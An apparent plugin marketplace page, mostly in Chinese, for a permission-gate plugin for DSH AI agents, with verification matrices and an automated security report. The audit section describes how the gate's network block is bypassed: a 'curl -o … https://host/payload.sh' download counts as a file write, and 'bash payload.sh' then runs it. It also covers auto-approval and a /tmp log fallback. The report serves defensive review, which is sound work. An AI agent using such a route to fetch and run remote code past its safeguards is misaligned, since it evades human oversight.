@ChaoJie0/dsh-tm-guard

Zero-intervention permission gate for DSH agents on macOS — active on install; reversible writes auto-approved and snapshotted, network/installs/process control/sensitive reads blocked and fully audited.

Plugin安全存储桌面网络文件存储

验证

L5 · 运行已测

通过

风险

低风险

健康

活跃

信任

金

安装验证：运行验证通过 (L5) · 验证于 dsh 0.2.1-rc.2 · 验证日期 10-20安装验证详情 →

功能介绍AI

面向 macOS 上 DSH 代理的零干预权限网关：可回滚的本地写入自动放行，网络、安装与敏感读取被拦截并审计。

自动放行可回滚的本地写入，免去频繁确认
默认拦截网络访问、安装操作与敏感读取
记录所有被拦截操作并保留可回滚备份

securityAIfileAIstorageAI

能力标签为 AI 推断或 README 规则抽取（见角标），词表受限、未经安装验证；AI = 推断，README = 原文关键词。

安装

dsh plugin --profile web add dsh-tm-guard

已验证 0.2.7

安装方式: GitHub · 运行验证通过 (L5)

验证与兼容性

按插件版本分组：每张卡是该插件版本实测过的 dsh 版本与安装兼容结论（L5 优先）。只列真测过的组合——未列出 = 未实测，不推定兼容。L1–L3 为插件级静态档（与 dsh 版本无关，各 dsh 行同值）：在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」，证据体为插件级单份、随行内「查看检查项与证据」出现，不在各版本重复存储。

External credentials（插件级）：未检测到

原插件兼容声明来自 package.json · peerDependencies

作者未声明 dsh 版本要求

○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。

安装兼容矩阵（速览 · 行 = 插件版本〔最近 5〕，列 = dsh 版本〔最近 5〕）

结论一览 → 证据在下方分版本卡片

插件版本＼ dsh	dsh 0.2.1-rc.2 当前	dsh 0.2.1-alpha.4	dsh 0.2.1-alpha.2
0.2.7	✓	✓	·
0.2.5	·	·	✓
v0.2.5	·	·	·

安装兼容实测（按插件版本，组内按 dsh 版本）

图例：✓ L5 运行验证通过○ 生态插件◼ 生态应用✗ 失败

0.2.7npm✓ 运行验证通过 22026-10-20

dsh-tm-guard

✓dsh 0.2.1-rc.2当前2026-10-20L5 · 运行验证通过

实测环境与工件

• Node.js: v24.14.0
• DSH: 0.2.1-rc.2
• 被测插件工件: npm · dsh-tm-guard@0.2.7

验证等级（L1–L3 为插件级静态档 · L4/L5 为该组合最新真测）

L1 静态

通过

L2 静态

通过

L3 静态

通过

L4 沙盒

通过

L5 运行

通过

在 dsh 沙盒中完成安装与运行冒烟——装得上、跑得起来

L5 · 运行验证通过 · dsh 0.2.1-rc.2 有效

ID: dsh-tm-guard@0.2.7@dsh0.2.1-rc.2 · 档位: l4-sandbox

签发：2026-10-20 · 有效至：2026-10-27

查看检查项与证据

L1 · 已找到✓ 通过

由 L3 推定L1.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L2 · 结构化✓ 通过

由 L3 推定L2.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L3 · 安装规范✓ 通过

安装命令已解析L3.1_INSTALL_COMMAND_PARSED✓ 通过

来源：插件市场校验 · 方式：安装规范解析 · 采集于 2026-10-18

DSH 版本已声明L3.2_DSH_VERSION_DECLARED✓ 通过

来源：插件市场校验 · 方式：DSH 版本声明 · 采集于 2026-10-18

L4 · 安装已测✓ 通过

受限沙盒内执行安装L4.1_INSTALL_EXECUTED_CONFINED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-20

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：2.5s

沙盒安装成功L4.2_INSTALL_SUCCESS✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-20

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：2.5s

安装产物已确认L4.3_ARTIFACT_CONFIRMED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-20

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：2.5s

L5 · 运行已测✓ 通过

已在加载器目录树中激活（150 个条目）

沙盒安装通过L5.1_INSTALL_PASSED_SANDBOXED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-20

安装源 dsh-tm-guard · 安装方式复用 L4 沙盒

检查耗时：92ms

Web 启动就绪L5.2_WEB_BOOT_READY✓ 通过

来源：DSH 运行时 · 方式：Web 启动 · 采集于 2026-10-20

就绪行 dsh web: http://127.0.0.1:50780/?token=…

HTTP 服务响应L5.3_HTTP_SERVED✓ 通过

来源：DSH 运行时 · 方式：HTTP 请求 · 采集于 2026-10-20

探测路径 / · HTTP 200 · 耗时 92ms

插件清单中已激活L5.4_PLUGIN_INVENTORY_ACTIVE✓ 通过

来源：DSH 运行时 · 方式：插件清单查询 · 采集于 2026-10-20

清单判定 active · 清单条目 150

命中：include:tm-guard · dsh-tm-guard · 相位 active

相位计数：active 122 · null 28

L1–L3 为插件级静态结论（基础门槛，全 dsh 版本相同）：证据为插件级单份，不在各版本重复存储。

✓dsh 0.2.1-alpha.42026-10-18L5 · 运行验证通过

实测环境与工件

• Node.js: v24.14.0
• DSH: 0.2.1-alpha.4
• 被测插件工件: npm · dsh-tm-guard@0.2.7

验证等级（L1–L3 为插件级静态档 · L4/L5 为该组合最新真测）

L1 静态

通过

L2 静态

通过

L3 静态

通过

L4 沙盒

通过

L5 运行

通过

在 dsh 沙盒中完成安装与运行冒烟——装得上、跑得起来

L5 · 运行验证通过 · dsh 0.2.1-alpha.4 有效

ID: dsh-tm-guard@0.2.7@dsh0.2.1-alpha.4 · 档位: l4-sandbox

签发：2026-10-18 · 有效至：2026-10-25

查看检查项与证据

L1 · 已找到✓ 通过

由 L3 推定L1.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L2 · 结构化✓ 通过

由 L3 推定L2.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L3 · 安装规范✓ 通过

安装命令已解析L3.1_INSTALL_COMMAND_PARSED✓ 通过

来源：插件市场校验 · 方式：安装规范解析 · 采集于 2026-10-18

DSH 版本已声明L3.2_DSH_VERSION_DECLARED✓ 通过

来源：插件市场校验 · 方式：DSH 版本声明 · 采集于 2026-10-18

L4 · 安装已测✓ 通过

受限沙盒内执行安装L4.1_INSTALL_EXECUTED_CONFINED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-18

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：6.3s

沙盒安装成功L4.2_INSTALL_SUCCESS✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-18

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：6.3s

安装产物已确认L4.3_ARTIFACT_CONFIRMED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-18

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：6.3s

安装版本已解析L4.4_RESOLVED_ARTIFACT✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-18

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：6.3s

L5 · 运行已测✓ 通过

已在加载器目录树中激活（150 个条目）

沙盒安装通过L5.1_INSTALL_PASSED_SANDBOXED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-18

安装源 dsh-tm-guard · 安装方式复用 L4 沙盒

检查耗时：255ms

Web 启动就绪L5.2_WEB_BOOT_READY✓ 通过

来源：DSH 运行时 · 方式：Web 启动 · 采集于 2026-10-18

就绪行 dsh web: http://127.0.0.1:54947/?token=…

HTTP 服务响应L5.3_HTTP_SERVED✓ 通过

来源：DSH 运行时 · 方式：HTTP 请求 · 采集于 2026-10-18

探测路径 / · HTTP 200 · 耗时 255ms

插件清单中已激活L5.4_PLUGIN_INVENTORY_ACTIVE✓ 通过

来源：DSH 运行时 · 方式：插件清单查询 · 采集于 2026-10-18

清单判定 active · 清单条目 150

命中：include:tm-guard · dsh-tm-guard · 相位 active

相位计数：active 122 · null 28

L1–L3 为插件级静态结论（基础门槛，全 dsh 版本相同）：证据为插件级单份，不在各版本重复存储。

0.2.5npm✓ 运行验证通过 12026-10-14

dsh-tm-guard

✓dsh 0.2.1-alpha.22026-10-14L5 · 运行验证通过

实测环境与工件

• Node.js: v24.14.0
• DSH: 0.2.1-alpha.2
• 被测插件工件: npm · dsh-tm-guard@0.2.5

验证等级（L1–L3 为插件级静态档 · L4/L5 为该组合最新真测）

L1 静态

通过

L2 静态

通过

L3 静态

通过

L4 沙盒

通过

L5 运行

通过

在 dsh 沙盒中完成安装与运行冒烟——装得上、跑得起来

L5 · 运行验证通过 · dsh 0.2.1-alpha.2 有效

ID: dsh-tm-guard@0.2.5@dsh0.2.1-alpha.2 · 档位: l4-sandbox

签发：2026-10-14 · 有效至：2026-10-21

查看检查项与证据

L1 · 已找到✓ 通过

由 L3 推定L1.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L2 · 结构化✓ 通过

由 L3 推定L2.0_DEFAULTED_FROM_L3✓ 通过

默认通过——L3 安装规范已通过（全库 L3 扫描策略）

L3 · 安装规范✓ 通过

安装命令已解析L3.1_INSTALL_COMMAND_PARSED✓ 通过

来源：插件市场校验 · 方式：安装规范解析 · 采集于 2026-10-18

DSH 版本已声明L3.2_DSH_VERSION_DECLARED✓ 通过

来源：插件市场校验 · 方式：DSH 版本声明 · 采集于 2026-10-18

L4 · 安装已测✓ 通过

受限沙盒内执行安装L4.1_INSTALL_EXECUTED_CONFINED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-14

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：3.5s

沙盒安装成功L4.2_INSTALL_SUCCESS✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-14

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：3.5s

安装产物已确认L4.3_ARTIFACT_CONFIRMED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-14

安装源 dsh-tm-guard · 通道 npm 包 · 结果 ran · 退出码 0

检查耗时：3.5s

L5 · 运行已测✓ 通过

已在加载器目录树中激活（150 个条目）

沙盒安装通过L5.1_INSTALL_PASSED_SANDBOXED✓ 通过

来源：Windows ACL 沙盒 · 方式：沙盒安装执行 · 采集于 2026-10-14

安装源 dsh-tm-guard · 安装方式复用 L4 沙盒

检查耗时：261ms

Web 启动就绪L5.2_WEB_BOOT_READY✓ 通过

来源：DSH 运行时 · 方式：Web 启动 · 采集于 2026-10-14

就绪行 dsh web: http://127.0.0.1:49707/?token=…

HTTP 服务响应L5.3_HTTP_SERVED✓ 通过

来源：DSH 运行时 · 方式：HTTP 请求 · 采集于 2026-10-14

探测路径 / · HTTP 200 · 耗时 261ms

插件清单中已激活L5.4_PLUGIN_INVENTORY_ACTIVE✓ 通过

来源：DSH 运行时 · 方式：插件清单查询 · 采集于 2026-10-14

清单判定 active · 清单条目 150

命中：include:tm-guard · dsh-tm-guard · 相位 active

相位计数：active 122 · null 28

L1–L3 为插件级静态结论（基础门槛，全 dsh 版本相同）：证据为插件级单份，不在各版本重复存储。

v0.2.5github2026-10-14

https://github.com/ChaoJie0/dsh-tm-guard

该版本无运行时安装实测（仅静态扫描）——兼容性未知，不推定。

作者徽章

将官方徽章嵌入你的 README，展示插件的安全与安装检测状态：

安全报告

两层自动化检查，都不是人工审核：静态扫描（逐插件规则判定）与模型驱动的动态安全审计（只覆盖静态判定 warn 及以上的插件子集，不执行插件代码）。

dsh-tm-guard自动审查 · 每日更新

静态扫描低，动态审计最高中，按「取更严者」→ 总评级中。

静态低→动态中→总评级中

0 严重·0 高

中总评级 · 中

1静态扫描 · vet 主判vet AST 静态分析（npm 发布物或 git 源码）

版本绑定

插件版本v0.2.7dsh 清单

扫描版本v0.2.7git2026-10-21

当前版本v0.2.7版本一致

vet 判定clean · npm

vet 为 AST 静态扫描（npm 发布物或 git 源码）。

静态发现（5 条）

严重sshWrite · destructivesrc/baseline-report.ts:273
' 匹配语义：每个条目是**前缀**（`~/.ssh` 覆盖 `~/.ssh/id_rsa`），读和写两个方向都被拒绝。',
严重shellExec · shellsrc/index.ts:1043
gitStatus = execSync('git status --short', {
严重shellExec · shellsrc/index.ts:1055
const out = execSync('tmutil listlocalsnapshots /', {
警告shellExec · shellsrc/git.ts:99
const stdout = execFileSync('git', ['rev-parse', '--show-toplevel'], {
警告childProcessImport · code-execsrc/tm.ts:9
import { execFile } from 'node:child_process'

2动态审计模型读脱敏源码上下文 · 不执行插件代码

最高等级中

并入后总评级中

审计时间2026-10-16

发现计数0 严重·0 高另有 1 条中 / 3 条低未展开

展开 4 条审计发现

mediumcurl 只读下载被改判为 file_write，绕过 denyNetwork（下载即执行链）lib/classifier.js
在默认 denyNetwork=true 下，`curl -o <受保护或临时路径> https://host/payload.sh` 根本不会走到网络分支：它被返回为 file_write，只要输出路径受保护（默认 process.cwd()）或位于 /tmp（decide() 对临时目录豁免）即被放行。随后可直接执行该文件——`bash payload.sh` / `python3 payload.py` 属于 local_exec 被放行，而静态外发扫描只在 local_exec 上运行，且不会检查已下载的文件。插件注入的系统提示宣称「任何网络访问：curl、wget……均被阻止」，与实际行为不符，agent 可下载并运行远端代码却显得处于离线状态。
low审计日志回退到共享 /tmp/.tm-guard，未做属主或符号链接检查lib/audit.js
当工作区的 .tm-guard 目录无法创建（工作区只读）时，审计日志、轮转锁与回合报告会落到全局可写且可预测的 /tmp/.tm-guard。该目录以默认权限创建，existsSync 与 appendFileSync 都不拒绝符号链接，因此在多用户机器上其他本地用户可以预先创建该目录（或 audit.jsonl 符号链接），读取其中包含原始工具参数（index.js 中记录的 `args,`，可能含敏感信息或命令文本）的审计记录，或让追加写入经符号链接落到其指定路径。
lowautoApprove 默认开启，对每个审批请求自动回复 allowed-oncelib/index.js
默认情况下，对所有进入审批瀑布的操作，插件都会去掉人工确认，前提是前插的 tools/pre-execute 钩子已完成分类并放行。该前提是宿主监听器顺序的属性，插件自己也无法校验（其注释明确说明），因此任何注册更早、或绕过前插钩子直接进入审批的其他权限插件/宿主路径都会被静默自动批准。这一点有文档并在启动时告警，故定为 low，但它意味着零干预运行下该门控是唯一的失败点。
low任何以 tm_ 开头的工具名都被无条件归为 read 并放行lib/classifier.js
工具分类基于名称前缀而非已注册工具身份，index.js 同样对以 `tm_` 开头的名称跳过 git/TM 回滚网。任何以 tm_ 前缀进入门控的工具（例如由其他 bundle 注册，或宿主中恰好同名的工具）都会被放行，且不做路径检查、敏感读取检查与回滚网。该路径在本插件自身工具之外的可达性有限——同进程的其他插件本就是可信原生代码——影响因此受限，但这是一个基于名称而非身份的信任判定。

该插件是防御性权限门控，静态扫描的 critical 多为自身固定命令与拒绝表；但 curl 只读下载会绕过 denyNetwork、审计目录回退到 /tmp、默认自动批准，整体为 warn。

口径：动态审计只会把风险往严重里判，不会把风险降下来（只升不降，不构成豁免）；模型判错时由人工复核撤回，撤回后回到静态判定。合并判定 = 两层中更严的那一个。

免责声明：静态扫描与动态安全审计都是自动化分析，不构成安全保证。安装前请自行审查。

活跃度

最近提交 2026-10-14 · 活跃度：活跃

• 仓库创建: 2026-09-16

• 星标: ★ 0 · 复刻: 0

• 健康度: 活跃 — 近 30 天有提交

来源

GitHub: github.com/ChaoJie0/dsh-tm-guard

插件说明